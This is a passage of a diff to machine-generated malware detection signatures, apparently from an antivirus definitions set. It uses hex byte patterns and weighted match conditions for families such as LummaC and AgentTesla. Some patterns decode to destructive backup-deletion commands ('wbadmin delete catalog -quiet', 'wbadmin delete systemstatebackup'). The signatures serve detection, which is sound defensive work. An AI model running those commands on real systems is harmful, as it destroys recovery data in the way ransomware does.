49 4c } //114 + $a_61_3 = {6d 69 6e 20 64 65 6c 65 74 65 20 63 61 74 61 6c 6f 67 20 2d 71 75 69 65 74 01 00 21 80 01 77 62 61 64 6d 69 6e 20 64 65 6c 65 74 65 20 73 79 73 74 65 6d 73 74 61 74 65 62 61 63 6b 75 70 20 01 00 15 80 01 77 62 61 64 6d 69 6e 20 64 65 6c 65 74 65 20 62 61 63 6b 75 70 00 00 78 94 01 00 0c 00 0c } //30465 + $a_3a_5 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 43 2e 48 4e 52 21 4d 54 42 00 01 00 19 03 68 00 74 00 74 00 70 00 90 02 40 2e 00 6c 00 69 00 76 00 65 00 2f 00 90 00 01 00 0f 03 68 74 74 70 90 02 40 2e 6c 69 76 65 2f 90 00 01 } //17748 + $a_68_6 = {74 00 74 } //5888 + $a_00_9 = {2f 00 90 00 01 00 0e 03 68 74 74 70 90 02 40 2e 74 6f 70 2f 90 00 01 00 1f 03 68 00 74 00 74 00 70 00 90 02 40 2e 00 64 00 69 00 67 00 69 00 74 00 61 00 6c 00 2f 00 90 00 01 00 12 03 68 74 74 70 90 02 40 2e 64 69 67 69 74 61 6c 2f 90 00 01 00 19 03 68 00 74 00 74 00 70 00 90 02 40 2e 00 73 00 68 00 6f 00 70 00 2f 00 90 00 01 00 0f 03 } //111 + $a_70_10 = {02 40 2e 73 68 6f 70 2f 90 00 01 00 1b 03 68 00 74 00 74 00 70 00 90 02 40 2e 00 77 00 6f 00 72 00 6c 00 64 00 2f 00 90 00 01 00 10 03 68 74 74 70 90 02 40 2e 77 6f 72 6c 64 2f 90 00 01 00 17 03 68 00 74 00 74 00 70 00 90 02 40 2e 00 62 00 65 00 74 00 2f 00 90 00 01 00 0e 03 68 74 74 70 90 02 40 2e 62 65 74 2f 90 00 01 00 17 03 68 00 74 00 74 00 } //29800 + $a_02_11 = {40 2e 00 73 00 62 00 73 00 2f 00 90 00 01 00 0e 03 68 74 74 70 90 02 40 2e 73 62 73 2f 90 00 0a 00 12 81 01 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 00 00 78 94 01 00 11 00 11 00 11 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 42 49 6e 6a 65 63 74 2e 56 41 21 4d 53 52 00 01 00 0d 81 01 52 65 67 4f 70 65 6e 4b 65 79 45 78 41 01 00 10 81 01 52 65 67 51 75 65 72 79 56 61 6c 75 65 45 78 41 01 00 0b 81 } //112 condition: - ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*384+(#a_69_2 & 1)*25956+(#a_61_3 & 1)*30465+(#a_3a_5 & 1)*19521+(#a_65_6 & 1)*385+(#a_49_7 & 1)*21335+(#a_61_8 & 1)*16723+(#a_00_9 & 1)*49+(#a_00_11 & 1)*114) >=11 + ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*384+(#a_69_2 & 1)*25956+(#a_61_3 & 1)*30465+(#a_3a_5 & 1)*17748+(#a_68_6 & 1)*5888+(#a_00_9 & 1)*111+(#a_70_10 & 1)*29800+(#a_02_11 & 1)*112) >=11 } -rule _InfrastructureShared_18997{ +rule _InfrastructureShared_20186{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0f 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 43 2e 48 4e 52 21 4d 54 42 00 01 00 19 03 68 00 74 00 74 00 70 00 90 02 40 2e 00 6c 00 69 00 76 00 65 00 2f 00 90 00 01 00 0f 03 68 74 74 70 90 02 40 2e } //21539 + $a_65_1 = {90 00 01 00 17 03 68 00 74 00 74 00 70 00 90 02 40 2e 00 74 00 6f 00 70 00 2f 00 90 00 01 00 0e 03 68 74 74 70 90 02 40 2e 74 6f 70 2f 90 00 01 00 1f 03 68 00 74 00 74 00 70 00 90 02 40 2e 00 64 00 69 00 67 00 69 00 74 00 61 00 6c 00 2f 00 90 00 01 00 12 03 68 74 74 70 90 02 40 2e 64 69 67 69 74 61 6c 2f 90 00 01 00 19 03 68 00 74 00 74 00 70 00 90 02 } //26988 + $a_00_3 = {70 00 2f 00 90 00 01 00 0f 03 68 74 74 70 90 02 40 2e 73 68 6f 70 2f 90 00 01 00 1b 03 68 00 74 00 74 00 70 00 90 02 40 2e 00 77 00 6f 00 72 00 6c 00 64 00 2f 00 90 00 01 00 10 03 68 74 74 70 90 02 40 2e 77 6f 72 6c 64 2f 90 00 01 00 17 03 68 00 74 00 74 00 70 00 90 02 40 2e 00 62 00 65 00 74 00 2f 00 90 00 01 00 0e 03 68 74 74 70 } //104 + $a_2e_4 = {65 74 2f 90 00 01 00 17 03 68 00 74 00 74 00 70 00 90 02 40 2e 00 73 00 62 00 73 00 2f 00 90 00 01 00 0e 03 68 74 74 70 90 02 40 2e 73 62 73 2f 90 00 0a 00 12 81 01 73 74 65 61 6d 63 6f 6d 6d } //656 + $a_74_5 = {2e 63 6f 6d 00 00 78 94 01 00 11 00 11 00 11 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 42 49 6e 6a 65 63 74 2e 56 41 21 4d 53 52 00 01 00 0d 81 01 52 65 67 4f 70 65 6e 4b 65 79 45 78 41 01 00 10 81 01 52 65 67 51 75 65 72 79 56 61 6c 75 65 45 78 41 01 00 0b 81 01 52 65 67 43 6c 6f 73 65 4b 65 } //28277 + $a_65_7 = {73 6f 63 6b 6f 70 74 01 00 0a 81 01 67 65 74 73 6f 63 6b 6f 70 74 01 00 0e 81 01 53 65 74 57 69 6e 64 6f 77 4c 6f 6e 67 41 01 00 0f 81 01 43 61 6c 6c 57 69 6e 64 6f 77 50 72 6f 63 41 01 00 0d 81 01 57 53 41 49 73 42 6c 6f 63 6b 69 6e 67 01 00 0a 81 01 57 53 41 53 74 61 72 74 75 70 01 00 0d 81 01 67 65 74 68 6f 73 74 62 79 6e 61 6d 65 01 00 0d } //385 + $a_74_8 = {4d 6f 76 65 4d 65 6d 6f 72 79 01 00 15 81 01 57 53 41 43 61 6e 63 65 6c 42 6c 6f 63 6b 69 6e 67 43 61 6c 6c 01 00 32 01 41 00 30 00 4e 00 4a 00 47 00 75 00 6b 00 72 00 53 00 65 00 70 00 44 00 6a 00 38 00 69 00 68 00 47 00 70 00 41 00 73 00 67 00 } //385 + $a_00_9 = {30 00 31 00 01 00 12 01 73 00 6b 00 72 00 69 00 64 00 66 00 72 00 69 00 65 00 01 00 18 01 55 00 6e 00 64 00 72 00 61 00 66 00 74 00 61 00 62 00 6c } //121 + $a_01_11 = {48 00 6f 00 65 00 6a 00 72 00 65 00 } //1 Hoejre + $a_01_12 = {61 00 72 00 67 00 65 00 6c 00 69 00 73 00 74 00 73 00 } //1 argelists + $a_94_13 = {00 22 00 22 00 0f 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 42 53 48 21 4d 54 42 00 14 00 24 81 01 65 62 37 39 66 34 38 38 2d 38 62 31 30 2d 34 31 63 62 2d 62 37 63 38 2d 31 31 38 63 38 39 35 31 30 39 63 65 01 00 13 81 01 46 72 6f 6d 42 61 73 65 36 34 43 68 61 72 41 72 72 61 79 01 00 0e 81 01 43 72 65 61 74 65 } //0 + $a_74_14 = {6e 63 65 01 00 07 81 01 47 65 74 54 79 70 65 01 00 0b 81 01 54 6f 43 68 61 72 41 72 72 61 79 01 00 0d 81 01 44 65 66 6c 61 74 65 53 74 72 65 61 6d 01 00 0f 81 01 43 6f 6d 70 72 65 73 73 69 6f 6e 4d 6f 64 65 01 00 13 81 01 44 65 62 75 67 67 61 62 6c 65 41 74 74 72 69 62 75 74 65 01 00 0e 81 01 44 65 62 75 67 67 69 6e 67 4d 6f 64 65 73 01 00 1c } //28233 + condition: + ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*26988+(#a_00_3 & 1)*104+(#a_2e_4 & 1)*656+(#a_74_5 & 1)*28277+(#a_65_7 & 1)*385+(#a_74_8 & 1)*385+(#a_00_9 & 1)*121+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_94_13 & 1)*0+(#a_74_14 & 1)*28233) >=12 + +} +rule _InfrastructureShared_20187{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 11 00 21 " @@ -232718,7 +247422,7 @@ rule _InfrastructureShared_18997{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*27715+(#a_6f_2 & 1)*29797+(#a_00_4 & 1)*115+(#a_41_5 & 1)*19529+(#a_38_6 & 1)*14385+(#a_6d_7 & 1)*17153+(#a_62_8 & 1)*29300+(#a_01_9 & 1)*30720+(#a_7e_10 & 1)*-31487+(#a_6d_12 & 1)*20993+(#a_00_13 & 1)*48+(#a_00_14 & 1)*60+(#a_00_16 & 1)*35) >=17 } -rule _InfrastructureShared_18998{ +rule _InfrastructureShared_20188{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,22 00 22 00 0f 00 21 " @@ -232742,7 +247446,7 @@ rule _InfrastructureShared_18998{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*17921+(#a_74_2 & 1)*16741+(#a_74_3 & 1)*25193+(#a_a0_4 & 1)*532+(#a_73_5 & 1)*656+(#a_78_6 & 1)*11808+(#a_52_7 & 1)*-32743+(#a_20_8 & 1)*29807+(#a_00_9 & 1)*60+(#a_00_10 & 1)*54+(#a_00_11 & 1)*60+(#a_00_12 & 1)*50+(#a_00_13 & 1)*48+(#a_00_14 & 1)*51) >=34 } -rule _InfrastructureShared_18999{ +rule _InfrastructureShared_20189{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,25 00 24 00 0d 00 21 " @@ -232764,7 +247468,7 @@ rule _InfrastructureShared_18999{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*10+(#a_02_2 & 1)*1+(#a_02_3 & 1)*1+(#a_02_4 & 1)*1+(#a_02_5 & 1)*1+(#a_02_6 & 1)*1+(#a_02_7 & 1)*1+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1+(#a_80_10 & 1)*1+(#a_80_11 & 1)*1+(#a_95_12 & 1)*0) >=36 } -rule _InfrastructureShared_19000{ +rule _InfrastructureShared_20190{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -232776,7 +247480,7 @@ rule _InfrastructureShared_19000{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*48+(#a_00_3 & 1)*69) >=5 } -rule _InfrastructureShared_19001{ +rule _InfrastructureShared_20191{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -232793,7 +247497,7 @@ rule _InfrastructureShared_19001{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*28515+(#a_00_2 & 1)*83+(#a_5c_3 & 1)*30050+(#a_6a_4 & 1)*29268+(#a_50_5 & 1)*16448+(#a_63_6 & 1)*30063+(#a_2d_7 & 1)*13620) >=8 } -rule _InfrastructureShared_19002{ +rule _InfrastructureShared_20192{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -232812,7 +247516,7 @@ rule _InfrastructureShared_19002{ ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*16448+(#a_73_2 & 1)*21038+(#a_6d_3 & 1)*28486+(#a_00_4 & 1)*-27272+(#a_48_6 & 1)*8448+(#a_72_7 & 1)*11877+(#a_6f_8 & 1)*28018+(#a_65_9 & 1)*29301+(#a_63_10 & 1)*30063) >=11 } -rule _InfrastructureShared_19003{ +rule _InfrastructureShared_20193{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -232832,7 +247536,7 @@ rule _InfrastructureShared_19003{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*29541+(#a_2e_2 & 1)*27489+(#a_72_3 & 1)*26213+(#a_77_4 & 1)*20527+(#a_6d_6 & 1)*384+(#a_67_7 & 1)*17711+(#a_72_8 & 1)*29525+(#a_65_9 & 1)*16687+(#a_31_10 & 1)*29295+(#a_73_11 & 1)*25458) >=12 } -rule _InfrastructureShared_19004{ +rule _InfrastructureShared_20194{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -232854,7 +247558,7 @@ rule _InfrastructureShared_19004{ ((#a_46_0 & 1)*16675+(#a_2f_1 & 1)*25708+(#a_2f_2 & 1)*29281+(#a_01_3 & 1)*24948+(#a_6f_4 & 1)*17016+(#a_64_5 & 1)*13876+(#a_70_6 & 1)*27759+(#a_73_7 & 1)*29230+(#a_00_8 & 1)*24415+(#a_69_9 & 1)*385+(#a_6e_10 & 1)*27247+(#a_3b_11 & 1)*15157+(#a_3b_12 & 1)*13883) >=13 } -rule _InfrastructureShared_19005{ +rule _InfrastructureShared_20195{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 0d 00 21 " @@ -232875,7 +247579,7 @@ rule _InfrastructureShared_19005{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*28511+(#a_2e_2 & 1)*28528+(#a_00_3 & 1)*28271+(#a_72_4 & 1)*385+(#a_00_5 & 1)*25956+(#a_34_6 & 1)*15194+(#a_01_7 & 1)*15194+(#a_3b_8 & 1)*15194+(#a_3b_9 & 1)*13371+(#a_48_11 & 1)*8448+(#a_37_12 & 1)*385) >=22 } -rule _InfrastructureShared_19006{ +rule _InfrastructureShared_20196{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -232889,7 +247593,7 @@ rule _InfrastructureShared_19006{ ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*15194+(#a_46_2 & 1)*15194+(#a_5a_3 & 1)*13622+(#a_33_4 & 1)*23099) >=5 } -rule _InfrastructureShared_19007{ +rule _InfrastructureShared_20197{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -232905,7 +247609,7 @@ rule _InfrastructureShared_19007{ ((#a_54_0 & 1)*18467+(#a_46_1 & 1)*17200+(#a_43_2 & 1)*-32485+(#a_74_3 & 1)*25974+(#a_5f_4 & 1)*13919+(#a_37_5 & 1)*13111+(#a_45_6 & 1)*22091) >=7 } -rule _InfrastructureShared_19008{ +rule _InfrastructureShared_20198{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -232922,7 +247626,7 @@ rule _InfrastructureShared_19008{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*28769+(#a_2e_2 & 1)*25961+(#a_72_3 & 1)*24947+(#a_6e_4 & 1)*12108+(#a_66_5 & 1)*28753+(#a_69_6 & 1)*30323+(#a_68_7 & 1)*25965) >=8 } -rule _InfrastructureShared_19009{ +rule _InfrastructureShared_20199{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -232943,7 +247647,7 @@ rule _InfrastructureShared_19009{ ((#a_54_0 & 1)*18467+(#a_33_1 & 1)*24833+(#a_63_2 & 1)*30063+(#a_36_3 & 1)*12388+(#a_72_4 & 1)*27718+(#a_5a_5 & 1)*16762+(#a_2c_6 & 1)*2+(#a_6c_7 & 1)*2304+(#a_61_8 & 1)*28265+(#a_00_9 & 1)*28787+(#a_73_10 & 1)*11876+(#a_01_11 & 1)*17862) >=12 } -rule _InfrastructureShared_19010{ +rule _InfrastructureShared_20200{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2a 00 2a 00 0d 00 21 " @@ -232962,7 +247666,7 @@ rule _InfrastructureShared_19010{ ((#a_46_0 & 1)*16675+(#a_39_1 & 1)*12378+(#a_6d_3 & 1)*13824+(#a_00_5 & 1)*101+(#a_00_7 & 1)*46+(#a_61_8 & 1)*27491+(#a_6c_9 & 1)*28500+(#a_09_10 & 1)*0+(#a_01_11 & 1)*-28603+(#a_01_12 & 1)*17862) >=42 } -rule _InfrastructureShared_19011{ +rule _InfrastructureShared_20201{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -232975,7 +247679,7 @@ rule _InfrastructureShared_19011{ ((#a_72_0 & 1)*22051+(#a_00_1 & 1)*144+(#a_0a_2 & 1)*-253+(#a_90_3 & 1)*-14766) >=1 } -rule _InfrastructureShared_19012{ +rule _InfrastructureShared_20202{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -232985,7 +247689,7 @@ rule _InfrastructureShared_19012{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_19013{ +rule _InfrastructureShared_20203{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 09 00 21 " @@ -233001,7 +247705,7 @@ rule _InfrastructureShared_19013{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*100+(#a_00_4 & 1)*105+(#a_01_5 & 1)*1+(#a_01_6 & 1)*2+(#a_97_7 & 1)*0+(#a_00_8 & 1)*110) >=2 } -rule _InfrastructureShared_19014{ +rule _InfrastructureShared_20204{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 09 00 21 " @@ -233017,7 +247721,7 @@ rule _InfrastructureShared_19014{ ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*111+(#a_00_3 & 1)*65+(#a_00_4 & 1)*101+(#a_00_6 & 1)*32+(#a_00_7 & 1)*101+(#a_00_8 & 1)*44) >=2 } -rule _InfrastructureShared_19015{ +rule _InfrastructureShared_20205{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -233028,7 +247732,7 @@ rule _InfrastructureShared_19015{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*73) >=4 } -rule _InfrastructureShared_19016{ +rule _InfrastructureShared_20206{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -233043,7 +247747,7 @@ rule _InfrastructureShared_19016{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*115+(#a_00_2 & 1)*97+(#a_00_4 & 1)*99+(#a_00_5 & 1)*21581+(#a_00_6 & 1)*116) >=4 } -rule _InfrastructureShared_19017{ +rule _InfrastructureShared_20207{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -233057,7 +247761,7 @@ rule _InfrastructureShared_19017{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*87+(#a_00_3 & 1)*120+(#a_00_5 & 1)*32+(#a_53_6 & 1)*8993) >=7 } -rule _InfrastructureShared_19018{ +rule _InfrastructureShared_20208{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -233075,7 +247779,7 @@ rule _InfrastructureShared_19018{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*29276+(#a_00_2 & 1)*26987+(#a_65_3 & 1)*385+(#a_61_4 & 1)*27749+(#a_55_5 & 1)*14930+(#a_69_6 & 1)*26999+(#a_72_7 & 1)*24425+(#a_49_8 & 1)*-32743) >=9 } -rule _InfrastructureShared_19019{ +rule _InfrastructureShared_20209{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0d 00 21 " @@ -233097,7 +247801,7 @@ rule _InfrastructureShared_19019{ ((#a_4c_0 & 1)*21539+(#a_04_1 & 1)*26982+(#a_53_2 & 1)*23553+(#a_78_3 & 1)*25710+(#a_00_4 & 1)*25710+(#a_44_5 & 1)*384+(#a_35_6 & 1)*11571+(#a_49_7 & 1)*19770+(#a_6f_8 & 1)*25970+(#a_65_9 & 1)*11891+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1+(#a_97_12 & 1)*0) >=10 } -rule _InfrastructureShared_19020{ +rule _InfrastructureShared_20210{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -233109,15 +247813,16 @@ rule _InfrastructureShared_19020{ $a_2f_4 = {61 6c 61 67 65 6e 74 2e 50 41 41 21 4d 54 42 00 01 00 66 01 2f 00 74 00 72 00 61 00 6e 00 73 00 66 00 65 00 72 00 20 00 6d 00 79 00 64 00 6f 00 77 00 } //13166 $a_00_5 = {6f 00 61 00 64 00 6a 00 6f 00 62 00 20 00 20 00 2f 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 20 00 2f 00 70 00 72 00 69 00 6f 00 72 00 69 00 74 00 79 00 20 00 6e 00 6f 00 72 00 6d 00 61 00 6c 00 01 00 27 01 75 6e 69 43 6f 72 6e 2e 50 72 6f 70 65 72 74 69 65 73 2e 4d 44 49 50 61 72 65 6e 74 31 2e 72 65 73 6f 75 72 } //110 $a_01_6 = {00 12 01 47 65 74 50 72 6f 63 65 73 73 65 73 42 79 4e 61 6d 65 01 00 11 01 44 6f 77 6e 6c 6f 61 64 41 6e 64 55 70 64 61 74 65 01 00 11 01 47 65 74 43 75 72 72 65 6e 74 50 72 6f 63 65 73 73 01 00 0c 01 73 65 74 5f 50 61 73 73 77 6f 72 64 01 00 0c 01 44 6f 77 6e 6c 6f 61 64 46 69 6c 65 01 00 0b 01 47 65 74 4e 61 6d 65 50 72 6f 63 01 00 0a 01 63 } //25955 - $a_44_7 = {6d 61 69 6e 01 00 0a 01 4e 65 65 64 55 70 64 61 74 65 01 00 0a 01 45 78 74 72 61 63 74 41 6c 6c 01 00 0a 01 50 72 65 70 61 72 65 55 72 6c 01 00 09 01 4b 69 6c 6c 50 72 6f 63 73 01 00 09 01 70 72 65 44 6f 6d 61 69 6e 01 00 07 01 5a 69 70 46 69 6c 65 00 00 78 97 01 00 66 00 66 00 0c 00 21 23 48 53 54 52 3a 57 69 6e 4e 54 2f 4e 65 74 46 69 6c } //29301 - $a_2e_8 = {00 32 00 1a 01 4e 00 65 00 74 00 46 00 69 00 6c 00 74 00 65 00 72 00 20 00 53 00 44 00 4b 00 32 00 1c 01 6e 00 65 00 74 00 66 00 69 00 6c 00 74 00 65 00 72 00 32 00 2e 00 73 00 79 00 73 00 01 00 16 01 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 54 00 63 00 70 00 01 00 18 01 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 54 00 63 00 70 } //25972 - $a_5c_10 = {44 } //5632 D - $a_00_12 = {65 00 5c 00 55 00 64 00 70 00 01 00 18 01 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 55 00 64 00 70 00 36 00 01 00 1c 01 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 54 00 63 00 70 00 46 00 6c 00 74 00 01 00 1e 01 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 54 00 63 00 70 00 36 00 46 } //105 + $a_44_7 = {6d 61 69 6e 01 00 0a 01 4e 65 65 64 55 70 64 61 74 65 01 00 0a 01 45 78 74 72 61 63 74 41 6c 6c 01 00 0a 01 50 72 65 70 61 72 65 55 72 6c 01 00 09 01 4b 69 6c 6c 50 72 6f 63 73 01 00 09 01 70 72 65 44 6f 6d 61 69 6e 01 00 07 01 5a 69 70 46 69 6c 65 00 00 78 97 01 00 11 00 11 00 11 00 21 23 54 45 4c 3a 4d 53 49 4c 2f 53 75 73 70 43 75 73 74 } //29301 + $a_63_8 = {69 6f 6e 2e 41 00 01 00 15 01 67 65 74 5f 43 75 73 74 6f 6d 41 63 74 69 6f 6e 44 61 74 61 00 01 00 14 01 48 74 74 70 4c 69 73 74 65 6e 65 72 52 65 71 75 65 73 74 00 01 00 0d 01 53 74 72 65 61 6d } //28015 + $a_64_9 = {72 00 01 00 12 01 44 65 73 65 72 69 61 6c 69 7a 65 4f 62 6a 65 63 74 00 01 00 14 01 52 65 73 6f 6c 76 65 45 76 65 6e 74 48 61 6e 64 6c 65 72 00 01 00 09 01 47 65 74 46 69 6c 65 73 00 01 00 11 01 47 65 74 44 69 72 65 63 74 6f 72 79 4e 61 6d 65 00 01 00 09 01 4c 6f 61 64 46 72 6f 6d 00 01 00 } //25938 + $a_6f_10 = {64 46 69 6c 65 00 01 00 0f 01 43 72 65 61 74 65 44 65 6c 65 67 61 74 65 00 01 00 0c 01 54 61 73 6b 41 77 61 69 74 65 72 00 01 00 09 01 67 65 74 5f 54 61 73 6b 00 01 00 17 01 41 73 79 6e 63 54 61 73 6b 4d 65 74 68 6f 64 42 75 69 } //265 + $a_72_11 = {01 00 0a 01 45 6e 64 49 6e 76 6f 6b 65 00 01 00 0c 01 42 65 67 69 6e 49 6e 76 6f 6b 65 00 01 00 26 01 4d 69 63 72 6f 73 6f 66 74 2e 44 65 70 6c 6f 79 6d 65 6e 74 2e 57 69 6e 64 6f 77 73 49 6e 73 74 61 6c 6c 65 72 00 01 00 2e 03 61 00 70 00 70 00 6c 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 2f 00 6a } //25708 condition: - ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*25972+(#a_65_2 & 1)*28530+(#a_53_3 & 1)*21505+(#a_2f_4 & 1)*13166+(#a_00_5 & 1)*110+(#a_01_6 & 1)*25955+(#a_44_7 & 1)*29301+(#a_2e_8 & 1)*25972+(#a_5c_10 & 1)*5632+(#a_00_12 & 1)*105) >=13 + ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*25972+(#a_65_2 & 1)*28530+(#a_53_3 & 1)*21505+(#a_2f_4 & 1)*13166+(#a_00_5 & 1)*110+(#a_01_6 & 1)*25955+(#a_44_7 & 1)*29301+(#a_63_8 & 1)*28015+(#a_64_9 & 1)*25938+(#a_6f_10 & 1)*265+(#a_72_11 & 1)*25708) >=13 } -rule _InfrastructureShared_19021{ +rule _InfrastructureShared_20211{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -233127,19 +247832,42 @@ rule _InfrastructureShared_19021{ $a_65_2 = {50 72 6f 63 65 73 73 65 73 42 79 4e 61 6d 65 01 00 11 01 44 6f 77 6e 6c 6f 61 64 41 6e 64 55 70 64 61 74 65 01 00 11 01 47 65 74 43 75 72 72 65 6e 74 50 72 6f 63 65 73 73 01 00 0c 01 73 65 74 5f 50 61 73 73 77 6f } //274 $a_00_3 = {0c } //25714 $a_77_4 = {6c 6f 61 64 46 69 6c 65 01 00 0b 01 47 65 74 4e 61 6d 65 50 72 6f 63 01 00 0a 01 63 75 72 72 44 6f 6d 61 69 6e 01 00 0a 01 4e 65 65 64 55 70 64 61 74 65 01 00 0a 01 45 78 74 72 61 63 74 41 6c 6c 01 00 0a 01 50 72 65 70 61 72 65 55 72 6c 01 00 09 01 4b 69 6c 6c 50 72 6f 63 73 01 00 09 01 70 72 65 44 6f 6d 61 69 6e 01 00 07 01 5a 69 } //17409 - $a_6c_5 = {00 00 78 97 01 00 66 00 66 00 0c 00 21 23 48 53 54 52 3a 57 69 6e 4e 54 2f 4e 65 74 46 69 6c 74 65 72 2e 41 00 32 00 1a 01 4e 00 65 00 74 00 46 00 69 00 6c 00 74 00 65 00 72 00 20 00 53 00 44 00 4b 00 32 00 1c 01 6e 00 65 00 74 00 66 00 69 00 6c 00 74 00 65 00 72 00 32 00 2e 00 73 00 79 00 73 00 01 00 16 01 5c 00 } //18032 - $a_00_6 = {76 00 69 00 63 00 65 00 5c 00 54 00 63 00 70 00 01 00 18 01 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 54 00 63 00 70 00 36 00 01 00 16 01 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 55 00 64 00 70 00 01 00 18 01 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 55 00 64 00 70 00 36 00 01 00 1c } //68 - $a_00_8 = {69 00 63 00 65 00 5c 00 54 00 63 00 70 00 46 00 6c 00 74 00 01 00 1e 01 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 54 00 63 00 70 00 36 00 46 00 6c 00 74 00 01 00 1c 01 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 55 00 64 00 70 00 46 00 6c 00 74 00 01 00 1e 01 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 55 00 64 00 70 00 36 00 46 00 6c 00 } //101 - $a_00_9 = {1c } //116 - $a_00_11 = {69 00 63 00 65 00 5c 00 43 00 74 00 72 00 6c 00 53 00 4d 00 01 00 24 01 5c 00 44 00 6f 00 73 00 44 00 65 00 76 00 69 00 63 00 65 00 73 00 5c 00 43 00 74 00 72 00 6c 00 53 00 4d 00 00 00 78 98 01 00 01 00 01 00 05 00 21 23 48 53 54 52 3a 50 55 41 3a 32 33 34 35 50 64 62 53 74 72 69 6e 67 00 01 00 39 00 5c 4c 69 67 68 74 49 6e 73 74 50 61 63 6b 61 67 65 } //101 - $a_6e_12 = {72 65 6c 65 61 73 65 5f 73 74 61 74 69 63 5c 4c 69 67 68 74 49 6e 73 74 50 61 63 6b 61 67 65 2e 70 64 62 01 00 50 00 5c 70 61 63 6b 5c 32 33 34 35 70 61 63 6b 5c 32 